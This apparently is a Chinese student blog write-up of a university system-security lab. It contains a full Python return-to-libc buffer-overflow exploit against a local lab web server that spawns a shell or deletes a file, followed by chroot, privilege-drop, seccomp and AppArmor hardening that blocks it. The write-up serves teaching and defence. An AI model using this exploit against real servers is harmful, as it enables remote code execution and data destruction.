HUST \u4fe1\u606f\u7cfb\u7edf\u5b89\u5168 Lab2 – \u7cfb\u7edf\u5b89\u5168 | \u4ef0\u671b\u661f\u7a7a\uff0c\u811a\u8e0f\u5b9e\u5730<\/a>\uff0c\u5b66\u957f\u7ed9\u51fa\u4e86\u7b80\u5316\u540e\u7684exp\uff0c\u4e0d\u518d\u9700\u8981\u540e\u9762\u586b127.0.0.1:80,\u800c\u4e14\u53ef\u4ee5\u76f4\u63a5\u901a\u8fc71\u62162\u6765\u9009\u62e9getshell\u548c\u5220\u6587\u4ef6:<\/p>\n\n\n\n#!\/usr\/bin\/python \nimport sys \nimport socket \nimport traceback \nimport struct \nimport time \nimport os.path \nimport binascii \nfrom pwn import * \n \n# libc base address \n# ASLR shoud be off, so that libc's base address will not change untill next reboot \n# you can use \"ldd .\/program\" to check the libc base address \nbase_addr = 0xf7da0000 \n \n# all of the offsets of functions (strings) inside libc vary little (sometimes change, previews check is needed) . \n# to get the offset of a funtion, you can use: \n## readelf -a \/lib\/i386-linux-gnu\/libc.so.6 | grep \" system\" \n# to get \"\/bin\/sh\": \n## ropper --file \/lib\/i386-linux-gnu\/libc.so.6 --string \"\/bin\/sh\" \n \n# system \nsys_addr = base_addr + 0x00041780\n# \/bin\/sh \nsh_addr = base_addr + 0x0018e363 \n# exit \nex_addr = base_addr + 0x000340c0 \n# unlink \nul_addr = base_addr + 0x000f4100\n# dead \nd_addr = 0xdeadbeef \n \n \n# ebp too make the task simple, we print ebp of getToken function (vulnerable) \nebp_addr = 0xffffccd8 \n \n \n \n## Below is the function that you should modify to construct an \n## HTTP request that will cause a buffer overflow in some part \n## of the vulnerable web server and exploit it. \n \ndef build_exploit(shellcode, type): \n \n ul_arg = \"\/tmp\/test.txt\\0\" \n ul_arg_addr = ebp_addr + 20 \n \n sys_arg = \"\/bin\/sh\\0\" \n sys_arg_addr = ebp_addr + 20 \n \n req = (\"POST \/ HTTP\/1.1\\r\\n\").encode('latin-1') \n # All of the header information other than \"Content-Length\" is not important \n req += (\"Host: 127.0.0.1\\r\\n\").encode('latin-1') \n # The Content-Length below is useful, and depends on the length of \n # username plus password, you need to use wireshark (together with web browser) \n # for checking the length \n req += (\"Content-Length: 58\\r\\n\").encode('latin-1') \n req += (\"Origin: http:\/\/127.0.0.1\\r\\n\").encode('latin-1') \n req += (\"Connection: keep-alive\\r\\n\").encode('latin-1') \n req += (\"Referer: http:\/\/127.0.0.1\/\\r\\n\").encode('latin-1') \n \n req += (\"Hacking: \").encode('latin-1') \n # For different oses (and compilation), the length of fillup for \n # hijacking the return address in the stack, could be different, \n # therefore you need to debug the program for checking and adjusting. \n req += b'A' * 1068\n # b'C' * 4 \n \n # use \"\/bin\/sh\" string in libc \n if type == 1: \n req += p32(sys_addr) \n req += p32(ex_addr) \n req += p32(sh_addr) \n req += p32(0) \n \n # put \"\/bin\/sh\" string in the stack \n # ebp is needed to locate the place of string \n # Note: using this method, you can put arbitrary string in the stack, \n # so that \"system\" can execute arbitrary command \n #req += p32(sys_addr) \n #req += p32(ex_addr) \n #req += p32(sys_arg_addr) \n #req += p32(0) \n #req += sys_arg.encode('latin-1') \n \n \n # remove a file specified by the path \"ul_arg\" \n if type == 2: \n req += p32(ul_addr) \n req += p32(ex_addr) \n req += p32(ul_arg_addr) \n req += p32(0) \n req += ul_arg.encode('latin-1') \n \n \n req += (\"\\r\\n\").encode('latin-1') \n req += (\"\\r\\n\").encode('latin-1') \n \n # Below is the username\/password that you can Register into the web server \n # by using web browser. These information will be stored into the sqlite db behind. \n # You need to change these information according to your own registration. \n \n # Note that successful POST will be responded by the server with a hint page. \n # By using the successful response, you can judge whether the server has been \n # crashed (by exploit), so that you can adjust the fillup accordingly. \n req += (\"login_username=123456&login_password=123456&submit_login=Login\").encode('latin-1') \n \n print(req) \n return req \n \n #If you cannot use p32 (in pwnlib), you can use the following line \n #req += (addr1).to_bytes(4, byteorder='little') \n \n \ndef send_req(host, port, req): \n sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) \n print(\"Connecting to %s:%d...\" % (host, port)) \n sock.connect((host, port)) \n \n print(\"Connected, sending request...\") \n sock.send(req) \n \n print(\"Request sent, waiting for reply...\") \n rbuf = sock.recv(1024) \n resp = (\"\").encode(\"latin-1\") \n while len(rbuf): \n resp = resp+rbuf \n rbuf = sock.recv(1024) \n \n print(\"Received reply.\") \n sock.close() \n return resp \n \n \nif len(sys.argv) != 2: \n print(\"Usage: \" + sys.argv[0] + \" type\") \n print(\"type: 1 for shell, 2 for unlink\") \n exit() \n \ntry: \n shellcode = \"\" \n req = build_exploit(shellcode, int(sys.argv[1])) \n print(\"HTTP request:\") \n print(req) \n \n resp = send_req(\"127.0.0.1\", 80, req) \n print(\"HTTP response:\") \n print(resp) \nexcept: \n print(\"Exception:\") \n print(traceback.format_exc()) \n\n<\/code><\/pre>\n\n\n\n\u5728tmp\u76ee\u5f55\u4e0b\u521b\u5efa\u6d4b\u8bd5\u6587\u4ef6:<\/p>\n\n\n\n
sudo touch \/tmp\/test.txt\nsudo chown root \/tmp\/test.txt<\/code><\/pre>\n\n\n\n\u8fd0\u884cexp\u540e\u6210\u529f\u5220\u9664\uff1a<\/p>\n\n\n\n![\"\"](\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\")
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getshell\u5c31\u4e0d\u6f14\u793a\u4e86\uff0c\u81ea\u884c\u5c1d\u8bd5\u5427: )<\/p>\n\n\n\n
<\/p>\n\n\n\n
<\/span>\u4efb\u52a1\u4e8c chroot<\/strong><\/span><\/h2>\n\n\n\n\u91cd\u65b0copy\u4e00\u4e2a\u4efb\u52a1\u4e00\u7684code\u6587\u4ef6\u5939<\/p>\n\n\n\n
\u5728server.c\u4e2d\u7684\u7279\u5b9a\u4f4d\u7f6e\u6dfb\u52a0\u5982\u4e0b\u4ee3\u7801\uff1a<\/p>\n\n\n\n<\/div><\/figure>\n\n\n\n
<\/p>\n\n\n\n
\u6267\u884c<\/p>\n\n\n\n
make \nchmod +x chroot-setup.sh chroot-copy.sh\nsudo .\/chroot-setup.sh \ncd \/jail \nsudo .\/touchstone <\/code><\/pre>\n\n\n\n<\/div><\/figure>\n\n\n\n
<\/p>\n\n\n\n
\u7136\u540e\u5206\u522b\u5728tmp\u548cjail\/tmp\u4e0b\u521b\u5efaroot\u6743\u9650\u7684test.txt\u6587\u4ef6\uff1a<\/p>\n\n\n\n
\u5728tmp\u76ee\u5f55\u4e0b\u521b\u5efa\u6d4b\u8bd5\u6587\u4ef6:<\/p>\n\n\n\n
sudo touch \/tmp\/test.txt\nsudo chown root \/tmp\/test.txt<\/code><\/pre>\n\n\n\n\u5728\/jail\/tmp\u76ee\u5f55\u4e0b\u521b\u5efa\u6d4b\u8bd5\u6587\u4ef6<\/p>\n\n\n\n
sudo touch \/jail\/tmp\/test.txt\nsudo chown root \/jail\/tmp\/test.txt<\/code><\/pre>\n\n\n\n<\/div><\/figure>\n\n\n\n
<\/p>\n\n\n\n
jail\u76ee\u5f55\u4e0b\u7684banksv libc base_addr\u4f1a\u6709\u53d8\u5316\uff0c\u9700\u8981\u91cd\u65b0\u786e\u5b9a\uff1a<\/p>\n\n\n\n
ps -aux | grep banksv\nsudo gdb -q -p (\u6b64\u5904\u586bbanksv\u7684pid)\ninfo proc map<\/code><\/pre>\n\n\n\n<\/div><\/figure>\n\n\n\n
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\u4fee\u6539base_addr\u540e\u8fd0\u884cexp\uff0c\u6b64\u65f6\u8fd8\u5220\u4e0d\u6389\uff0c\u56e0\u4e3aebp\u8fd8\u6ca1\u6539\uff1a<\/p>\n\n\n\n<\/div><\/figure>\n\n\n\n
<\/p>\n\n\n\n
\u6839\u636etouchstone\u7ed9\u7684ebp\u628aebp\u4e5f\u6539\u4e86\u540e\u518d\u8fd0\u884cexp\uff0c\u5c31\u80fd\u53d1\u73b0jail\/tmp\u76ee\u5f55\u4e0b\u7684test.txt\u88ab\u5220\u4e86\uff0c\u800ctmp\u6ca1\u88ab\u5220\uff0c\u8bf4\u660e\u5b9e\u9a8c\u6210\u529f\u3002<\/p>\n\n\n\n<\/div><\/figure>\n\n\n\n
<\/p>\n\n\n\n
<\/span>\u4efb\u52a1\u4e09 \u6539\u53d8\u8fdb\u7a0b euid<\/strong><\/span><\/h2>\n\n\n\n\u540c\u6837copy\u4e00\u4e0b\u4efb\u52a1\u4e00\u7684code\u6587\u4ef6\u5939<\/p>\n\n\n\n
\u5728server.c\u7684\u4e09\u5904\u6dfb\u52a0\u4ee5\u4e0b\u4ee3\u7801\uff1a<\/p>\n\n\n\n
setresuid(1000,1000,1000);\nprintf(\"\u6210\u529f\u6539\u53d8\u8fdb\u7a0b euid.\\n\");<\/code><\/pre>\n\n\n\n<\/div><\/figure>\n\n\n\n
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\u7136\u540e\u7f16\u8bd1\u5e76setuid:<\/p>\n\n\n\n
sudo make\nsudo chown root touchstone\nsudo chmod +s touchstone\n\n.\/touchstone<\/code><\/pre>\n\n\n\n<\/p>\n\n\n\n<\/div><\/figure>\n\n\n\n
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\u5728tmp\u76ee\u5f55\u4e0b\u521b\u5efa\u6d4b\u8bd5\u6587\u4ef6:<\/p>\n\n\n\n
sudo touch \/tmp\/test.txt\nsudo chown root \/tmp\/test.txt<\/code><\/pre>\n\n\n\n\u6539ebp\u540e\u8fd0\u884cexp\uff0c\u53d1\u73b0\u5220\u4e0d\u6389\uff1a<\/p>\n\n\n\n<\/div><\/figure>\n\n\n\n
<\/p>\n\n\n\n
\u5220\u4e0d\u6389\u5c31\u662f\u5b9e\u9a8c\u6210\u529f\u4e86\uff0c\u5f53\u7136\uff0c\u5982\u679c\u6000\u7591\u53ef\u80fd\u662f\u5176\u4ed6\u539f\u56e0\u5220\u4e0d\u6389\u53ef\u4ee5\u5f00\u4efb\u52a1\u4e00\u7684touchstone\u6765\u5bf9\u7167\u5b9e\u9a8c\u4e00\u4e0b\u3002<\/p>\n\n\n\n
<\/p>\n\n\n\n
<\/span>\u4efb\u52a1\u56db\uff1a\u4f7f\u7528 seccomp \u9650\u5236\u7cfb\u7edf\u8c03\u7528<\/strong><\/span><\/h2>\n\n\n\n\u540c\u6837copy\u4e00\u4e0b\u4efb\u52a1\u4e00\u7684code\u6587\u4ef6\u5939<\/p>\n\n\n\n
<\/span>\u5b89\u88c532\u4f4dlibcseccomp<\/span><\/h3>\n\n\n\nsudo apt-get install libseccomp-dev:i386<\/code><\/pre>\n\n\n\n<\/span>
\u9ed8\u8ba4\u5141\u8bb8\uff0c\u663e\u5f0f\u62d2\u7edd\uff1a<\/span><\/h3>\n\n\n\n\u5728makefile\u7684\u7f16\u8bd1banksv\u90a3\u4e00\u884c\u6700\u540e\u52a0\u4e0a-lseccomp\uff1a<\/p>\n\n\n\n<\/div><\/figure>\n\n\n\n
\u4fee\u6539banksv\uff0c\u628a\u4e0b\u9762\u8fd9\u4e2a\u51fd\u6570\u7684\u6ce8\u91ca\u53bb\u6389\uff0c\u6dfb\u52a0\u7981\u6b62unlink\u7684\u89c4\u5219\uff1a<\/p>\n\n\n\n
seccomp_rule_add(ctx,SCMP_ACT_KILL,SCMP_SYS(unlink),0);<\/code><\/pre>\n\n\n\n<\/div><\/figure>\n\n\n\n
\u5728main\u51fd\u6570\u4e2d\u8c03\u7528\u8be5\u51fd\u6570\uff1a<\/p>\n\n\n\n<\/div><\/figure>\n\n\n\n
\u5220\u9664\u5934\u6587\u4ef6\u6ce8\u91ca\uff1a<\/p>\n\n\n\n<\/div><\/figure>\n\n\n\n
\u7f16\u8bd1\uff1a<\/p>\n\n\n\n
sudo make\n\nsudo chown root touchstone\n\nsudo chmod +s touchstone\n\n.\/touchstone<\/code><\/pre>\n\n\n\n<\/p>\n\n\n\n
\u82e5ldd banksv\u80fd\u770b\u5230libcseccomp\uff0c\u5219\u5f00\u542f\u6210\u529f\uff1a<\/p>\n\n\n\n<\/div><\/figure>\n\n\n\n
\u53ef\u4ee5\u770b\u5230\u57fa\u5730\u5740\u4e5f\u53d8\u4e86\uff0c\u6240\u4ee5\u5f97\u6539\u4e00\u4e0b<\/p>\n\n\n\n
<\/p>\n\n\n\n
\u5728tmp\u76ee\u5f55\u4e0b\u521b\u5efa\u6d4b\u8bd5\u6587\u4ef6\uff1a<\/p>\n\n\n\n
sudo touch \/tmp\/test.txt\nsudo chown root \/tmp\/test.txt<\/code><\/pre>\n\n\n\n<\/p>\n\n\n\n
\u7136\u540e\u8fd0\u884cexp\uff0c\u53d1\u73b0\u6ca1\u5220\u6389<\/p>\n\n\n\n
\u67e5\u770b\u5185\u6838\u65e5\u5fd7\u786e\u8ba4\uff1a<\/p>\n\n\n\n
sudo dmesg<\/code><\/pre>\n\n\n\n<\/p>\n\n\n\n
\u53ef\u4ee5\u770b\u5230syscall\u662f10\uff0c\u5373unlink\u7684\u7cfb\u7edf\u8c03\u7528\u53f7\uff0c\u88ab\u89e6\u53d1\u540e\u4e2d\u6b62\u4e86\u7a0b\u5e8f\u3002<\/p>\n\n\n\n<\/div><\/figure>\n\n\n\n
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<\/span>\u9ed8\u8ba4\u62d2\u7edd\uff0c\u663e\u5f0f\u5141\u8bb8\uff1a<\/span><\/h3>\n\n\n\n\u8ddf\u9ed8\u8ba4\u5141\u8bb8\u7684\u6b65\u9aa4\u5dee\u4e0d\u591a\uff0c\u533a\u522b\u5728\u4e8e\u9ed8\u8ba4\u5141\u8bb8\u7528\u7684\u662fsetup_allow_bydefault_rules()\uff0c\u9ed8\u8ba4\u62d2\u7edd\u7528\u7684\u662fsetup_deny_bydefault_rules()\u51fd\u6570\u3002<\/p>\n\n\n\n
1.makefile\u91cc\u9762\u52a0-lseccomp<\/p>\n\n\n\n
2.\u4fee\u6539banksv\uff1a\u53bb\u6389\u5934\u6587\u4ef6\u548csetup_deny_bydefault_rules\u51fd\u6570\u6ce8\u91ca\uff0c\u5e76\u4fee\u6539setup_deny_bydefault_rules\u51fd\u6570\uff1a<\/p>\n\n\n\n
\u6700\u540e\u4e24\u884c\u662funlink\u548cexecve\uff0c\u5982\u679c\u60f3\u7981\u7528\u5c31\u5220\u6389\uff0c\u60f3\u5141\u8bb8\u5c31\u52a0\u4e0a:<\/p>\n\n\n\n<\/div><\/figure>\n\n\n\n
\nseccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0);\nseccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0);\nseccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(openat), 0);\nseccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(rt_sigaction), 0);\nseccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(socketcall), 0);\nseccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(clone), 0);\nseccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(set_robust_list), 0);\nseccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(getresuid32), 0);\nseccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(getcwd), 0);\nseccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(getpid), 0);\nseccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(statx), 0);\nseccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(close), 0);\nseccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(_llseek), 0);\nseccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(fcntl64), 0);\nseccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(access), 0);\nseccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(brk), 0);\nseccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);\nseccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(fchmod), 0);\nseccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(stat64), 0);\nseccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(fstat64), 0);\nseccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(geteuid32), 0);\nseccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(fchown32), 0);\nseccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(fsync), 0);\n\nseccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(execve), 0);\nseccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(unlink), 0);<\/code><\/pre>\n\n\n\n\u540e\u9762\u7684\u6b65\u9aa4\u8ddf\u9ed8\u8ba4\u5141\u8bb8\u4e00\u81f4\uff0c\u4e0d\u591a\u8d58\u8ff0\u3002<\/p>\n\n\n\n
<\/span>\u4efb\u52a1\u4e94 AppArmor<\/strong><\/span><\/h2>\n\n\n\n\u540c\u6837copy\u4e00\u4e0b\u4efb\u52a1\u4e00\u7684code\u6587\u4ef6\u5939<\/p>\n\n\n\n
Apparmor\u5e94\u8be5\u672c\u6765\u5c31\u81ea\u5e26\uff0c\u5982\u679c\u6ca1\u6709\uff0c\u53ef\u7528\u4ee5\u4e0b\u547d\u4ee4\u5b89\u88c5\uff1a<\/p>\n\n\n\n
sudo systemctl start apparmor\nsudo apt install apparmor-profiles apparmor-utils<\/code><\/pre>\n\n\n\n\u7f16\u8bd1\u542f\u52a8\uff1a<\/p>\n\n\n\n
sudo make\n\nsudo chown root touchstone\n\nsudo chmod +s touchstone\n\n.\/touchstone\n\n<\/code><\/pre>\n\n\n\n\u751f\u6210banksv\u7684\u914d\u7f6e\u6587\u4ef6\uff1a<\/p>\n\n\n\n
sudo aa-genprof banksv<\/p>\n\n\n\n
f\u8df3\u8fc7<\/p>\n\n\n\n
\u914d\u7f6e\u6587\u4ef6\u8def\u5f84 \/etc\/apparmor.d\/xxx.xxx.banksv<\/p>\n\n\n\n
\uff08banksv\u5904\u662f\u81ea\u5df1\u7684\u8def\u5f84\uff0c\u9700\u8981\u6539\u4e00\u4e0b\uff09<\/p>\n\n\n\n
\u4fee\u6539\u914d\u7f6e\u6587\u4ef6\u5185\u5bb9\uff1a<\/p>\n\n\n\n
#include <tunables\/global>\n\n\/home\/monke\/shiyan2\/lab4\/code5\/banksv {\n\n # \u5f15\u5165\u914d\u7f6e\u6587\u4ef6\n include <abstractions\/apache2-common> \n include <abstractions\/base> \n \n # \u7981\u6b62\u5bf9\/tmp\u76ee\u5f55\u4e0b\u7684\u4efb\u4f55\u6587\u4ef6\u8fdb\u884c\u8bfb\u5199\u64cd\u4f5c \n deny \/tmp\/** mrwx, \n\n # \u5141\u8bb8\u5bf9code4\u76ee\u5f55\u4e0b\u7684\u6240\u6709\u6587\u4ef6\u8fdb\u884c\u53ea\u8bfb\u8bbf\u95ee\n\/home\/monke\/shiyan2\/lab4\/code5\/** mr,\n\n}<\/code><\/pre>\n\n\n\n<\/div><\/figure>\n\n\n\n
\u4fee\u6539\u597d\u540esudo apparmor_parser -r \/etc\/apparmor.d\/xxx.xxx.banksv<\/p>\n\n\n\n
\uff08banksv\u5904\u662f\u81ea\u5df1\u7684\u8def\u5f84\uff0c\u9700\u8981\u6539\u4e00\u4e0b\uff09<\/p>\n\n\n\n
\u4f7f\u5176\u751f\u6548<\/p>\n\n\n\n
\u7136\u540e\u8fd0\u884cexp\uff0c\u5982\u679cebp\u6709\u53d8\u8bb0\u5f97\u6539\uff0c\u53d1\u73b0\u5220\u4e0d\u6389\u6d4b\u8bd5\u6587\u4ef6\u3002<\/p>\n\n\n\n
sudo dmesg\u67e5\u770b\u65e5\u5fd7\uff0c\u53d1\u73b0\u7981\u7528:<\/p>\n\n\n\n<\/div><\/figure>\n\n\n\n
\u8bf4\u660e\u5b9e\u9a8c\u6210\u529f\u3002<\/p>\n","protected":false},"excerpt":{"rendered":"
\u672c\u5b9e\u9a8c\u633a\u6298\u78e8\uff0c\u867d\u7136\u6709\u5b66\u957f\u5f88\u8be6\u7ec6\u7684\u6587\u7ae0\u8bb2\u89e3\uff0c\u4f46\u662f\u5728\u505a\u7684\u8fc7\u7a0b\u4e2d\u8fd8\u662f\u9047\u5230\u4e86\u5f88\u591a\u975e\u9884\u671f\u7684\u9519\u8bef\uff0c\u9042\u8bb0\u5f55\u4e0b\u6765\uff0c\u5e0c\u671b\u5bf9\u5927\u5bb6\u6709 […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[21],"tags":[24],"class_list":["post-585","post","type-post","status-publish","format-standard","hentry","category-21","tag-24"],"_links":{"self":[{"href":"http:\/\/n0ps1ed.top\/index.php\/wp-json\/wp\/v2\/posts\/585","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/n0ps1ed.top\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/n0ps1ed.top\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/n0ps1ed.top\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/n0ps1ed.top\/index.php\/wp-json\/wp\/v2\/comments?post=585"}],"version-history":[{"count":24,"href":"http:\/\/n0ps1ed.top\/index.php\/wp-json\/wp\/v2\/posts\/585\/revisions"}],"predecessor-version":[{"id":685,"href":"http:\/\/n0ps1ed.top\/index.php\/wp-json\/wp\/v2\/posts\/585\/revisions\/685"}],"wp:attachment":[{"href":"http:\/\/n0ps1ed.top\/index.php\/wp-json\/wp\/v2\/media?parent=585"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/n0ps1ed.top\/index.php\/wp-json\/wp\/v2\/categories?post=585"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/n0ps1ed.top\/index.php\/wp-json\/wp\/v2\/tags?post=585"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}